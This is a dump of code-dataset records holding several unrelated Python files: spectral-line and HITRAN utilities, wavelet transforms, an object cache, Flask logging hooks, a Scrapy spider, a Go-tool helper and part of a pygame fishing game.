np.core.records.recarray:\n index_abs = np.where((raie['num'] >= i_min) &\n (raie['num'] < i_max) &\n (raie['i_rel'] < 0.0))[0]\n return index_abs\n if (raie['num'] >= i_min) & (raie['num'] < i_max) and (raie['i_rel'] < 0.):\n return True\n else:\n return False\n\ndef no_red_corr(raie):\n \"\"\"\n if raie is a numpy recarray, it reports a table of indexes where the condition is filled\n \"\"\"\n \n i_min = 9500000000000\n i_max = 9900000000000\n if type(raie) is np.core.records.recarray:\n index_abs = np.where((raie['num'] >= i_min) &\n (raie['num'] < i_max))[0]\n return index_abs\n if (raie['num'] >= i_min) & (raie['num'] < i_max):\n return True\n else:\n return False\n\n\ndef vactoair(wl, wl_inf=2000., wl_sup=20000.):\n \"\"\"\n Allen\n wl in Angstrom\n \"\"\"\n mask = ( wl >= wl_inf ) & ( wl < wl_sup )\n sigma2 = (1.e4/wl)**2.\n fact = 1. + 6.4328e-5 + 2.94981e-2 / (146. - sigma2) + 2.5540e-4 / (41. - sigma2) \n return wl / (mask * fact + (1 - mask))\n\ndef airtovac(wl, wl_inf=2000., wl_sup=20000.):\n \"\"\"\n Allen\n wl in Angstrom\n \"\"\"\n mask = ( wl >= wl_inf ) & ( wl < wl_sup )\n sigma2 = (1.e4/wl)**2.\n fact = 1. + 6.4328e-5 + 2.94981e-2 / (146. - sigma2) + 2.5540e-4 / (41. - sigma2) \n return wl * (mask * fact + (1 - mask))\n \ndef read_HITRAN_stick(file_):\n \"\"\"\n#MI WN,cm-1 S,cm/mol A,s-1 Vair Vself El,cm-1 TexpAshift GQNup GQNlow LQNup LQNlow Ierr Iref SWup SWlow \n\n 7157027.590000 3.556e-20 3.147e+03.04000.038 0.00000.000.000000 B 19 X 0 R 1R 0 d22020032 7 0 2 0 0 6.0 1.0\n \n \"\"\"\n data = np.genfromtxt(file_, \n dtype=['a2', 'a1','float', 'float','float', 'float','float'], \n delimiter=[2, 1, 12, 10, 10, 5, 5], \n skip_header=5, \n usecols=(0, 1, 2, 3, 4, 5, 6), \n names=('ID', 'ISO','nu','I','A', 'V', 'Vself'))\n return data\n\ndef make_abs_from_hitran(file_in, file_out, ID_ref, ID_start, label, fac_tau, cut=1e-4, wl_min=1200, wl_max=14000):\n \"\"\"\n generate a liste_phyat formated file from an hitran data file.\n USAGE:\n make_abs_from_hitran('O2_296_1.stick.gz', 'liste_O2.dat', 9510000000000, 9510000000001, 'At_O2', 1e23, cut=0.0001, wl_min=3200, wl_max=18000)\n \"\"\"\n\n data = read_HITRAN_stick(file_in)\n wls = vactoair(1e8 / data['nu'])\n taus = fac_tau * data['I']\n tau_max = 0.\n ID = ID_start\n count=0\n f = open(file_out, 'w')\n f.write('{:14d} {:8s} 1.0 0.000 1.000e+00 1.000 999 -1 1.00\\n'.format(ID_ref+90000000000000, label))\n for wl, tau in zip(wls, taus):\n if (tau > cut) & (wl > wl_min ) & (wl < wl_max) :\n f.write('{:14d} {:8s} {:10.3f} 0.000 {:9.3e} 1.000 {:13d} -1 1.00\\n'.format(ID, label, wl, tau, ID_ref))\n count += 1\n if tau > tau_max:\n tau_max = tau\n ID += 1\n f.close()\n print('Wrote {} lines in file {} with max(tau) = {}.'.format(count, file_out, tau_max))\n \ndef gauss(w, I, w_shift, width): \n return I * np.exp(-((w + w_shift)/(width))**2)\n\ndef lorentz(w, I, w_shift, width): \n return I / (1. + ((w + w_shift)/width)**2)\n\ndef carre(w, I, w_shift, width): \n prof = np.zeros_like(w)\n prof[np.abs(w + w_shift) < (width)] = I\n return prof\n \ndef rebin_tapas(file_ = None, cut=1e-5):\n \n d = np.genfromtxt(file_, skip_header=26, dtype=None)\n grad = np.ones_like(d[:,0])\n grad[1::] = np.abs(d[1::,1] - d[0:-1,1])\n mask = grad > cut\n res = d[mask,:]\n fout = file_.split('.')[0] + '_rebin.' + file_.split('.')[1]\n with open(fout, 'w') as f:\n for r in res:\n f.write('{} {}\\n'.format(r[0]*10., r[1]))\n\ndef clean_label(str_):\n return(re.sub(\"_\", \" \", str_))\n\n\ndef get_parser():\n parser = argparse.ArgumentParser()\n parser.add_argument(\"-f\", \"--file\", help=\"init file\")\n parser.add_argument(\"-n\", \"--noQt\", help=\"without Qt\", action=\"store_true\")\n parser.add_argument(\"-v\", \"--verbosity\", help=\"verbosity level (between 0 and 4, default is 2)\", default=2, type=int)\n parser.add_argument(\"-p\", \"--post_proc\", help=\"python script containing post_proc function\")\n parser.add_argument(\"-V\", \"--version\", action=\"version\", version=pyssn.__version__,\n help=\"Display version information and exit\")\n \n return parser\n\ndef split_atom(atom_str):\n \"\"\"\n return isotop, element, ion.\n e.g. parse_atom('13C_III') -> 13, 'C', 3\n \"\"\"\n iso = ''\n elem = ''\n iso_elem, ion_roman = atom_str.split('_')\n \n for char in iso_elem:\n if char in '0123456789':\n iso += char\n else:\n elem += char\n if iso == '':\n iso = None\n else:\n iso = int(iso)\n\n ion = roman_to_int(ion_roman.strip())\n \n return iso, elem, ion\n \n \ndef extract_line_type(filename, ltype=0):\n \n with open(filename, 'r') as f:\n for l in f:\n if l[5] == ltype:\n print(l[:-1])\n \ndef execfile_p3(file_, g_vars=None, l_vars=None):\n with open(file_) as f:\n code = compile(f.read(), file_, 'exec')\n exec(code, g_vars, l_vars)\n \n\n ","repo_name":"Morisset/pySSN","sub_path":"pyssn/utils/misc.py","file_name":"misc.py","file_ext":"py","file_size_in_byte":10441,"program_lang":"python","lang":"en","doc_type":"code","stars":4,"dataset":"github-code","pt":"61"} +{"seq_id":"70451740676","text":"\"\"\"\n199. Binary Tree Right Side View\n\"\"\"\nclass TreeNode:\n def __init__(self, val=0, left=None, right=None):\n self.val = val\n self.left = left\n self.right = right\n\nclass Solution:\n def rightSideView(self, root: TreeNode) -> List[int]:\n if not root: return []\n\n ret = []\n queue = [root]\n\n while queue:\n ret.append(queue[0].val)\n for _ in range(len(queue)):\n c = queue.pop(0)\n if c.right: queue.append(c.right)\n if c.left: queue.append(c.left)\n\n return ret\n","repo_name":"dictator-x/practise_as","sub_path":"algorithm/leetCode/0199_binary_tree_right_side_view.py","file_name":"0199_binary_tree_right_side_view.py","file_ext":"py","file_size_in_byte":583,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"39540914154","text":"import numpy as np\nimport matplotlib.pyplot as plt\nimport pylab\n\n#########################################\n# transform\n# inverse_transform\n#########################################\n\ndef transform(x, Jmin=2):\n \"\"\"\n Compute the wavelet transform of x\n \"\"\"\n return perform_wavelet_transf(x, Jmin, +1)\n\n\ndef inverse_transform(w, Jmin=2):\n \"\"\"\n Compute the wavelet inverse transform of w\n \"\"\"\n return perform_wavelet_transf(w, Jmin, -1)\n\n\ndef perform_wavelet_transf(f, Jmin, dir, filter = \"9-7\",separable = 0, ti = 0):\n\n \"\"\"\"\"\n perform_wavelet_transf - peform fast lifting transform\n y = perform_wavelet_transf(x, Jmin, dir, filter = \"9-7\",separable = 0, ti = 0);\n Implement 1D and 2D symmetric wavelets with symmetric boundary treatements, using\n a lifting implementation.\n filter gives the coefficients of the lifting filter.\n You can use h='linear' or h='7-9' to select automatically biorthogonal\n transform with 2 and 4 vanishing moments.\n You can set ti=1 to compute a translation invariant wavelet transform.\n You can set separable=1 to compute a separable 2D wavelet\n transform.\n Copyright (c) 2008 Gabriel Peyre\n \"\"\"\n\n #copy f\n x = np.copy(f)\n\n #convert Jmin to int\n Jmin = int(Jmin)\n\n # detect dimensionality\n d = np.ndim(x)\n # P/U/P/U/etc the last coefficient is scaling\n if filter in [\"linear\",\"5-3\"]:\n h = [1/2, 1/4, np.sqrt(2)]\n\n elif filter in [\"9-7\",\"7-9\"]:\n h = [1.586134342, -.05298011854, -.8829110762, .4435068522, 1.149604398]\n\n else:\n raise ValueError('Unknown filter')\n\n if d == 2 and separable == 1:\n ti = 0\n if ti == 1:\n wrn.warning(\"Separable does not works for translation invariant transform\")\n\n # perform a separable wavelet transform\n n = np.shape(x)[0]\n if dir == 1:\n for i in range(n):\n x[:,i] = perform_wavelet_transf(x[:,i], Jmin, dir, filter, separable, ti)\n for i in range(n):\n x[i,:] = np.transpose(perform_wavelet_transf(np.transpose(x[i,:]), Jmin, dir, filter, separable, ti))\n else:\n for i in range(n):\n x[i,:] = np.transpose(perform_wavelet_transf(np.transpose(x[i,:]), Jmin, dir, filter, separable, ti))\n for i in range(n):\n x[:,i] = perform_wavelet_transf(x[:,i], Jmin, dir, filter, separable, ti)\n\n\n # number of lifting steps\n if np.ndim(x) == 1:\n n = len(x)\n else:\n n = np.shape(x)[1]\n m = (len(h)-1)//2\n Jmax = int(np.log2(n)-1)\n jlist = range(Jmax,Jmin-1,-1)\n\n if dir == -1:\n jlist = range(Jmin,Jmax+1,1)\n\n if ti == 0:\n # subsampled\n for j in jlist:\n if d == 1:\n x[:2**(j+1),:] = lifting_step(x[:2**(j+1)], h, dir)\n else:\n x[:2**(j+1),:2**(j+1)] = lifting_step(x[:2**(j+1),:2**(j+1)], h, dir)\n x[:2**(j+1),:2**(j+1)] = np.transpose(lifting_step(np.transpose(x[:2**(j+1),:2**(j+1)]), h, dir))\n\n else:\n # TI\n nJ = Jmax - Jmin + 1\n if dir == 1 and d == 1:\n x = np.tile(x,(nJ + 1,1,1))\n elif dir == 1 and d == 2:\n x = np.tile(x,(3*nJ + 1,1,1))\n #elif dir == 1:\n # x = np.tile(x,(1,1,1))\n for j in jlist:\n dist = 2**(Jmax - j)\n\n if d == 1:\n if dir == 1:\n x[:(j-Jmin+2),:,:] = lifting_step_ti(x[0,:,:], h, dir, dist)\n else:\n x[0,:,:] = lifting_step_ti(x[:(j-Jmin+2),:,:], h, dir, dist)\n else:\n dj = 3*(j-Jmin)\n\n if dir == 1:\n x[[0,dj+1],:,:] = lifting_step_ti(x[0,:,:], h, dir, dist)\n\n x[[0,dj+2],:,:] = lifting_step_ti(np.transpose(x[0,:,:]), h, dir, dist)\n x[0,:,:] = np.transpose(x[0,:,:])\n x[dj+2,:,:] = np.transpose(x[dj+2,:,:])\n\n x[[1+dj,3+dj],:,:] = lifting_step_ti(np.transpose(x[dj+1,:,:]), h, dir, dist)\n x[dj+1,:,:] = np.transpose(x[dj+1,:,:])\n x[dj+3,:,:] = np.transpose(x[dj+3,:,:])\n else:\n\n x[dj+1,:,:] = np.transpose(x[dj+1,:,:])\n x[dj+3,:,:] = np.transpose(x[dj+3,:,:])\n\n x[dj+1,:,:] = np.transpose(lifting_step_ti(x[[1+dj, 3+dj],:,:], h, dir, dist))\n\n x[0,:,:] = np.transpose(x[0,:,:])\n x[dj+2,:,:] = np.transpose(x[dj+2,:,:])\n x[0,:,:] = np.transpose(lifting_step_ti(x[[0,dj+2],:,:], h, dir, dist))\n\n x[0,:,:] = lifting_step_ti(x[[0,dj+1],:,:], h, dir, dist)\n\n if dir == -1:\n x = x[0,:,:]\n\n return x\n\n###########################################################################\n###########################################################################\n###########################################################################\n\ndef lifting_step(x0, h, dir):\n\n #copy x\n x = np.copy(x0)\n\n # number of lifting steps\n m = (len(h) - 1)//2\n\n if dir==1:\n # split\n d = x[1::2,]\n x = x[0::2,]\n for i in range(m):\n d = d - h[2*i] * (x + np.vstack((x[1:,],x[-1,])))\n x = x + h[2*i+1] * (d + np.vstack((d[0,],d[:-1,])))\n x = np.vstack((x*h[-1],d/h[-1]))\n\n else:\n # retrieve detail coefs\n end = len(x)\n d = x[end//2:,]*h[-1]\n x = x[:end//2,]/h[-1]\n for i in range(m,0,-1):\n x = x - h[2*i-1] * (d + np.vstack((d[0,],d[:-1,])))\n d = d + h[2*i-2] * (x + np.vstack((x[1:,],x[-1,])))\n # merge\n x1 = np.vstack((x,x))\n x1[::2,] = x\n x1[1::2,] = d\n x = x1\n\n return x\n\n###########################################################################\n###########################################################################\n###########################################################################\ndef lifting_step_ti(x0, h, dir, dist):\n\n #copy x\n x = np.copy(x0)\n\n # number of lifting steps\n m = (len(h) - 1)//2\n n = np.shape(x[0])[0]\n\n s1 = np.arange(1, n+1) + dist\n s2 = np.arange(1, n+1) - dist\n\n # boundary conditions\n s1[s1 > n] = 2*n - s1[s1 > n]\n s1[s1 < 1] = 2 - s1[s1 < 1]\n\n s2[s2 > n] = 2*n - s2[s2 > n]\n s2[s2 < 1] = 2 - s2[s2 < 1]\n\n #indices in python start from 0\n s1 = s1 - 1\n s2 = s2 - 1\n\n if dir == 1:\n # split\n d = x\n for i in range(m):\n if np.ndim(x) == 2 :\n x = np.tile(x,(1,1,1))\n d = d - h[2*i] * (x[:,s1,:] + x[:,s2,:])\n x = x + h[2*i+1] * (d[:,s1,:] + d[:,s2,:])\n\n #merge\n x = np.concatenate((x*h[-1],d/h[-1]))\n\n else:\n # retrieve detail coefs\n\n d = x[1,:,:]*h[-1]\n x = x[0,:,:]/h[-1]\n\n for i in range(m,0,-1):\n x = x - h[2*i-1] * (d[s1,:] + d[s2,:])\n d = d + h[2*i-2] * (x[s1,:] + x[s2,:])\n\n # merge\n x = (x + d)/2\n \n return x\n\n\ndef imageplot(f, str='', sbpt=[]):\n \"\"\"\n Use nearest neighbor interpolation for the display.\n \"\"\"\n if sbpt != []:\n plt.subplot(sbpt[0], sbpt[1], sbpt[2])\n imgplot = plt.imshow(f, interpolation='nearest')\n imgplot.set_cmap('gray')\n pylab.axis('off')\n if str != '':\n plt.title(str)\n\ndef plot_coeff(fW, Jmin=2):\n \"\"\"\n plot_coeff - plot wavelets coefficients.\n\n U = plot_coeff(fW, Jmin):\n\n Copyright (c) 2014 Gabriel Peyre\n \"\"\"\n def rescaleWav(A):\n v = abs(A).max()\n B = A.copy()\n if v > 0:\n B = .5 + .5 * A / v\n return B\n\n def rescale(f,a=0,b=1):\n \"\"\"\n Rescale linearly the dynamic of a vector to fit within a range [a,b]\n \"\"\"\n v = f.max() - f.min()\n g = (f - f.min()).copy()\n if v > 0:\n g = g / v\n return a + g*(b-a)\n\n ##\n n = fW.shape[1]\n Jmax = int(np.log2(n)) - 1\n U = fW.copy()\n for j in np.arange(Jmax, Jmin - 1, -1):\n U[:2 ** j:, 2 ** j:2 **\n (j + 1):] = rescaleWav(U[:2 ** j:, 2 ** j:2 ** (j + 1):])\n U[2 ** j:2 ** (j + 1):, :2 **\n j:] = rescaleWav(U[2 ** j:2 ** (j + 1):, :2 ** j:])\n U[2 ** j:2 ** (j + 1):, 2 ** j:2 ** (j + 1):] = (\n rescaleWav(U[2 ** j:2 ** (j + 1):, 2 ** j:2 ** (j + 1):]))\n # coarse scale\n U[:2 ** j:, :2 ** j:] = rescale(U[:2 ** j:, :2 ** j:])\n # plot underlying image\n imageplot(U)\n # display crosses\n for j in np.arange(Jmax, Jmin - 1, -1):\n plt.plot([0, 2 ** (j + 1)], [2 ** j, 2 ** j], 'r')\n plt.plot([2 ** j, 2 ** j], [0, 2 ** (j + 1)], 'r')\n # display box\n plt.plot([0, n], [0, 0], 'r')\n plt.plot([0, n], [n, n], 'r')\n plt.plot([0, 0], [0, n], 'r')\n plt.plot([n, n], [0, n], 'r')\n return U\n","repo_name":"Guillaume-Garrigos/invprob","sub_path":"invprob/wavelet_old.py","file_name":"wavelet_old.py","file_ext":"py","file_size_in_byte":8898,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"61"} +{"seq_id":"1873347243","text":"#!/usr/bin/env python\n\"\"\" This file implements a memory store for python objects.\n\nA memory store is a single semi/persistant storage for object\ncollections which ensure that memory resources are not exhausted. We\nstore a maximum number of objects, for a maximum length of time. When\nobjects expire they are deleted.\n\nObjects are taken and returned to the store by their clients. Doing\nthis will refresh their age. This ensures that frequently used objects\nremain young and therefore do not perish.\n\nThe store is also thread safe as a single thread is allowed to access\nthe store at any one time.\n\"\"\"\n\nimport thread,time,re\nimport pyflaglog\n\n## A much faster and simpler implementation of the above\nclass FastStore:\n \"\"\" This is a cache which expires objects in oldest first manner. \"\"\"\n def __init__(self, limit=50, max_size=0, kill_cb=None):\n self.age = []\n self.hash = {}\n self.limit = max_size or limit\n self.kill_cb = kill_cb\n self.id = time.time()\n\n def expire(self):\n while len(self.age) > self.limit:\n x = self.age.pop(0)\n ## Kill the object if needed\n if self.kill_cb:\n self.kill_cb(self.hash[x])\n\n del self.hash[x]\n\n def put(self,object, prefix='', key=None):\n \"\"\" Stores an object in the Store. Returns the key for the\n object. If key is already supplied we use that instead - Note\n that we do not check that it doesnt already exist.\n \"\"\"\n ## Push the item in:\n if not key:\n key = \"%s%s\" % (prefix,self.id)\n self.id += 1\n\n self.add(key, object)\n return key\n\n def add(self, urn, obj):\n self.hash[urn] = obj\n self.age.append(urn)\n self.expire()\n\n def get(self, urn):\n return self.hash[urn]\n\n def __contains__(self, obj):\n return obj in self.hash\n\n def __getitem__(self, urn):\n return self.hash[urn]\n\n def flush(self):\n if self.kill_cb:\n for x in self.hash.values():\n self.kill_cb(x)\n\n self.hash = {}\n self.age = []\n\n## Store unit tests:\nimport unittest\nimport random, time\n\nclass StoreTests(unittest.TestCase):\n \"\"\" Store tests \"\"\"\n def test01StoreExpiration(self):\n \"\"\" Testing store removes objects when full \"\"\"\n s = Store(max_size = 5)\n keys = []\n for i in range(0,100):\n keys.append(s.put(i))\n\n self.assertRaises(KeyError, lambda : s.get(keys[0]))\n\n ## This should not raise\n s.get(keys[-1])\n\n def test02StoreRefresh(self):\n \"\"\" Test that store keeps recently gotten objects fresh \"\"\"\n s = Store(max_size = 5)\n keys = []\n for i in range(0,5):\n keys.append(s.put(i))\n\n ## This should not raise because keys[0] should be refreshed\n ## each time its gotten\n for i in range(0,1000):\n s.get(keys[0])\n s.put(i)\n\n def test03Expire(self):\n \"\"\" Tests the expire mechanism \"\"\"\n s = Store(max_size = 100)\n for i in range(0,5):\n s.put(i, key=\"test%s\" % i)\n\n for i in range(0,5):\n s.put(i, key=\"tests%s\" % i)\n\n s.expire(\"test\\d+\")\n ## Should have 5 \"testsxxx\" left\n self.assertEqual(len(s.creation_times),5)\n","repo_name":"py4n6/aff4","sub_path":"applications/pyflag/pyflag/Store.py","file_name":"Store.py","file_ext":"py","file_size_in_byte":3331,"program_lang":"python","lang":"en","doc_type":"code","stars":7,"dataset":"github-code","pt":"61"} +{"seq_id":"13825235137","text":"import uuid\nimport logging\n\nimport flask\n\nfrom . import api\nfrom . import web\n\n\nlogger = logging.getLogger('view')\n\n\ndef register_views(flask_app):\n \"\"\"\n views register magic\n \"\"\"\n for module in (api, web, ):\n flask_app.register_blueprint(module.blueprint)\n\n\ndef register_flask_callbacks(application):\n \"\"\"\n Register here all specific methods per-request call\n \"\"\"\n\n # callback functiion\n # pylint: disable=W0612\n @application.flask_app.before_request\n def before_request():\n \"\"\"\n - Send controller to request\n - Set request_id\n - Log request data\n \"\"\"\n # controller\n flask.g.controller = application.controller\n # request id\n flask.g.request_id = str(uuid.uuid4())\n # logging\n request = flask.request\n message = '[{}] {} -> ({} {})'.format(\n flask.g.request_id,\n request.remote_addr,\n request.path, request.method,\n )\n if request.mimetype == 'application/json':\n message += ' {}'.format(request.data)\n logger.info(message)\n\n # callback functiion\n # pylint: disable=W0612\n @application.flask_app.after_request\n def after_request(resp):\n \"\"\"\n - Log request data\n \"\"\"\n message = '[{}] ({})'.format(\n flask.g.request_id,\n resp.status_code,\n )\n if resp.mimetype == 'application/json':\n message += ' {}'.format(resp.data.replace('\\n', ''))\n logger.info(message)\n return resp\n","repo_name":"ilianadeliaev/eureka","sub_path":"eureka/view/registry.py","file_name":"registry.py","file_ext":"py","file_size_in_byte":1560,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"41787303625","text":"# -*- coding: utf-8 -*-\n\nfrom .chemistwarehouseau import ChemistwarehouseauProductsSpider\nfrom scrapy.http import Request\n\n\nclass ChemistwarehouseauShelfPagesSpider(ChemistwarehouseauProductsSpider):\n name = 'chemistwarehouseau_shelf_urls_products'\n allowed_domains = [\"www.chemistwarehouse.com.au\"]\n\n def __init__(self, *args, **kwargs):\n kwargs.pop('quantity', None)\n self.current_page = 1\n self.num_pages = int(kwargs.pop('num_pages', '1'))\n super(ChemistwarehouseauShelfPagesSpider, self).__init__(*args, **kwargs)\n\n def start_requests(self):\n yield Request(url=self.product_url,\n meta={'search_term': \"\", 'remaining': self.quantity},\n )\n\n def _scrape_next_results_page_link(self, response):\n if self.current_page >= self.num_pages:\n return\n self.current_page += 1\n return super(ChemistwarehouseauShelfPagesSpider,\n self)._scrape_next_results_page_link(response)\n","repo_name":"aprosdev/ecom-predictor","sub_path":"product-ranking/product_ranking/spiders/chemistwarehouseau_shelf.py","file_name":"chemistwarehouseau_shelf.py","file_ext":"py","file_size_in_byte":1011,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"61"} +{"seq_id":"13421821218","text":"\nimport os\nimport sys\nimport shlex\nfrom subprocess import PIPE\n\nfrom process import spawn\n\nfrom .error import AnaGondaError, GoGetError\n\n\nclass AnaGondaContext(object):\n \"\"\"Every anaGonda context must inherit from this class\n \"\"\"\n\n def __init__(self, env_ctx, go_get_url):\n self.__go_get_url = go_get_url\n self.__env = env_ctx\n self._bin_found = None\n\n def __enter__(self):\n \"\"\"Check binary existence or run go get\n \"\"\"\n\n if self._bin_found is None:\n if not os.path.exists(self.binary):\n try:\n self.go_get()\n except AnaGondaError:\n import traceback\n print(traceback.print_exc())\n self._bin_found = False\n raise\n else:\n self._bin_found = True\n\n def __exit__(self, *ext):\n \"\"\"Do nothing\n \"\"\"\n\n @property\n def go(self):\n \"\"\"Return the Go binary for this GOROOT\n \"\"\"\n\n if self.__env['GOROOT'] == \"\":\n return \"go\" # pray for it being in the PATH\n\n return os.path.join(self.__env['GOROOT'], 'bin', 'go')\n\n @property\n def env(self):\n \"\"\"Prepare the environ with go vars and sanitization\n \"\"\"\n\n env = {}\n curenv = os.environ.copy()\n for key in curenv:\n env[str(key)] = str(curenv[key])\n\n env.update(self.__env)\n return env\n\n def go_get(self):\n \"\"\"Go get the code to execute the scoped context\n \"\"\"\n\n args = shlex.split('{0} get {1}'.format(\n self.go, self.__go_get_url), posix=os.name != 'nt')\n go = spawn(args, stdout=PIPE, stderr=PIPE, env=self.env)\n out, err = go.communicate()\n if err is not None and len(err) > 0:\n if sys.version_info >= (3, 0):\n err = err.decode('utf8')\n raise GoGetError(err)\n self._bin_found = True\n\n def get_binary(self, binary):\n \"\"\"Get a binary from the GOBIN/GOPATH\n \"\"\"\n \n # Add .exe to file name if os is Windows NT\n if os.name == 'nt':\n _, file_ext = os.path.splitext(binary)\n if file_ext != \".exe\":\n binary = binary + \".exe\"\n\n if self.env.get('GOBIN') is not None:\n binary_path = os.path.join(self.env['GOBIN'], binary)\n if os.path.exists(binary_path):\n return binary_path\n\n for path in self.env['GOPATH'].split(':'):\n binary_path = os.path.join(path, 'bin', binary)\n if os.path.exists(binary_path):\n return binary_path\n\n return '/not/found'\n","repo_name":"DamnWidget/anaconda_go","sub_path":"plugin/handlers_go/anagonda/context/base.py","file_name":"base.py","file_ext":"py","file_size_in_byte":2682,"program_lang":"python","lang":"en","doc_type":"code","stars":37,"dataset":"github-code","pt":"61"} +{"seq_id":"8104993050","text":"import pygame, sys, os, botones, Login, webscraping, pyttsx3\nfrom random import randrange, choice\npygame.init()\n\n\n#-------------------------------------------------------------------------------------------------\n#----------- variables ---------------------------------------------------------------------------\n#-------------------------------------------------------------------------------------------------\n\nreg_cajas = [] # Almacena las intancias de las cajas de carnada\nreg_peces = [] # Almacena las instancias de los peces\npuntos = 0 # numero de puntos\nestado_anzuelo = 1 # estados del anzuelo (0:sin carnada, 1:con carnada, 2:con pez)\nstart_time_ticks = pygame.time.get_ticks() # tiempo de inicio del contador para la generacion de peces\nlast_time_ticks = start_time_ticks # tiempo requerido inicial para generar peces es de 0 seg\nstart_time_ticks_caja = pygame.time.get_ticks() # tiempo de inicio del contador para la generacion de cajas\nlast_time_ticks_caja = start_time_ticks # tiempo requerido inicial para generar las cajas es de 0 seg\nnum_carnadas = 3 # cantidad de carnadas en el juego}\nusuario = ''\npuntos2 = 0\n\n\n#-------------------------------------------------------------------------------------------------\n#----------- Funciones ---------------------------------------------------------------------------\n#-------------------------------------------------------------------------------------------------\n\ndef Reproducir_musica(ruta, vol, num):\n pygame.mixer.music.load(ruta) # carga la musica de fondo\n pygame.mixer.music.set_volume(vol) # cambiamos el volumen\n pygame.mixer.music.play(num) # reproduce la cancion\n\ndef Generar_cajas(frecuencia, imagen):\n global last_time_ticks_caja, start_time_ticks_caja\n last_time_ticks_caja = pygame.time.get_ticks() # se le asigna al ultimo ticks, los ticks actuales\n if last_time_ticks_caja >= start_time_ticks_caja + (frecuencia*1000): # verifica si el tiempo actual es mayor al tiempo inicial mas la frecuencia\n start_time_ticks_caja = pygame.time.get_ticks() # para que se inicie de nuevo el contador\n Crear_caja(imagen) # crea una instancia de las cajas\n\ndef Generar_peces(frecuencia, imagenes_peces): # funcion para generar peces\n porcentaje_peces = (0, 0, 0, 0, 0, 0, 0, 1, 1, 1, 1, 1, 1, 1, 2, 2, 2, 3, 3, 4, 5) # Defina la cantidad de vecez que puede aparecer un pes\n global last_time_ticks, start_time_ticks\n last_time_ticks = pygame.time.get_ticks() # se le asigna al ultimo ticks, los ticks actuales\n if last_time_ticks >= start_time_ticks + (frecuencia*1000): # verifica si el tiempo actual es mayor al tiempo inicial mas la frecuencia\n start_time_ticks = pygame.time.get_ticks() # para que se inicie de nuevo el contador\n Crear_pez(choice(porcentaje_peces), imagenes_peces) # crea una instancia de los peces\n\ndef muestra_texto(texto, dimensiones, x, y, screen, fuente):\n tipo_letra = pygame.font.Font(fuente, dimensiones) # defin el tipo de letra del texto\n superficie = tipo_letra.render(texto, True, (0, 0, 0)) # crea la imagen del texto\n rectangulo = superficie.get_rect() # recupera el rectangulo de la imagen del texto\n rectangulo.centerx = x \n rectangulo.centery = y\n screen.blit(superficie, rectangulo) # muestra la imagen del texto\n \ndef Crear_boton_jugar(x, y, screen, img_boton_jugar, eventos): # Funcion que crear el boton jugar\n screen.blit(img_boton_jugar, (x, y)) # Mostrar el boton jugar\n ancho = img_boton_jugar.get_width() # Ancho de la imagen\n alto = img_boton_jugar.get_height() # Alto de la imagen\n pos1 = x + 30, y + 30 # Posicion 1 del area de colision\n pos2 = x + ancho - 30, y + alto - 30 # Posicion 2 del area de colision\n mouse_pos = pygame.mouse.get_pos()\n if eventos != None:\n if eventos.type == pygame.QUIT:\n exit()\n if eventos.type == pygame.MOUSEBUTTONDOWN and eventos.button == 1 and pos1[0] < mouse_pos[0] < pos2[0] and pos1[1] < mouse_pos[1] < pos2[1]: # Verifica si se esta precionando el mouse y si esta desntro del area del boton\n return True\n else:\n return False\n else:\n return False\n\ndef Buscar_usuario(nombre):\n global posicion_usuario\n file = open(\"respaldo.txt\", 'r')\n lineas_separadas = file.readlines()\n file.close()\n datos_usuario = []\n contador = 0\n for linea in lineas_separadas:\n linea = linea.replace('\\n', '')\n linea = linea.split(':')\n if linea[0] == nombre:\n datos_usuario = linea\n posicion_usuario = contador\n break\n contador += 1\n return datos_usuario\n \n\ndef Crear_pez(t, imagenes_peces): # Funcion para crear los peces\n global reg_peces\n p = Peces(t, len(reg_peces), imagenes_peces) # crea la instancia del objeto pez\n reg_peces.append(p) # Añade la entidad al registro de peces\n\n# Crea las cajas de carnadas-------------\ndef Crear_caja(imagen_caja): # Funcion para crear las cajas de carnada\n global reg_peces\n caja = Caja_carnada(imagen_caja) # Crea una instancia de la caja de carnadas\n reg_cajas.append(caja) # Almacena la instancia de la caja en el registro\n\ndef Agregar_puntaje(puntos):\n global posicion_usuario\n if puntos > int(datos_usuario[2]):\n file = open(\"respaldo.txt\", 'r')\n lineas_separadas = file.readlines()\n file.close()\n datos = []\n\n for linea in lineas_separadas:\n linea = linea.replace('\\n', '')\n linea = linea.split(':')\n datos.append(linea)\n \n datos[posicion_usuario][2] = str(puntos)\n\n Escribir_datos(datos)\n \ndef Escribir_datos(datos):\n file = open(\"respaldo.txt\", 'w')\n texto = \"\"\n for linea in datos:\n texto += linea[0]+':'+linea[1]+':'+linea[2]+'\\n'\n file.write(texto)\n file.close()\n\ndef Cortar_texto(text):\n texto = text.split()\n \n return texto\n\ndef Resetear():\n global reg_cajas, reg_peces, puntos, estado_anzuelo, start_time_ticks, last_time_ticks,start_time_ticks_caja,last_time_ticks_caja, num_carnadas\n\n reg_cajas = [] # Almacena las intancias de las cajas de carnada\n reg_peces = [] # Almacena las instancias de los peces\n puntos = 0 # numero de puntos\n estado_anzuelo = 1 # estados del anzuelo (0:sin carnada, 1:con carnada, 2:con pez)\n start_time_ticks = pygame.time.get_ticks() # tiempo de inicio del contador para la generacion de peces\n last_time_ticks = start_time_ticks # tiempo requerido inicial para generar peces es de 0 seg\n start_time_ticks_caja = pygame.time.get_ticks() # tiempo de inicio del contador para la generacion de cajas\n last_time_ticks_caja = start_time_ticks # tiempo requerido inicial para generar las cajas es de 0 seg\n num_carnadas = 3 # cantidad de carnadas en el juego\n\n#-- Escoger pantalla -------------------------\ndef Pantalla(numero_pantalla, screen):\n configuracion_pantalla = {'reloj': pygame.time.Clock(), 'fps': 30, 'color': (255, 255, 255)}\n if numero_pantalla == 1:\n return Escena1(configuracion_pantalla, screen)\n if numero_pantalla == 2:\n return Escena2(configuracion_pantalla, screen)\n if numero_pantalla == 3:\n return Escena3(configuracion_pantalla, screen)\n\n#-- Pantalla 1 -------------------------------\ndef Escena1(configuracion, screen):\n global nombre, datos_usuario\n # Variables ------------\n frase_ya = webscraping.imprimir()\n frase_ya = frase_ya.replace(\"\\n\", \"\")\n #frase_ya = Cortar_texto(frase_ya)\n reproducir = True\n a = 0\n\n datos_usuario = 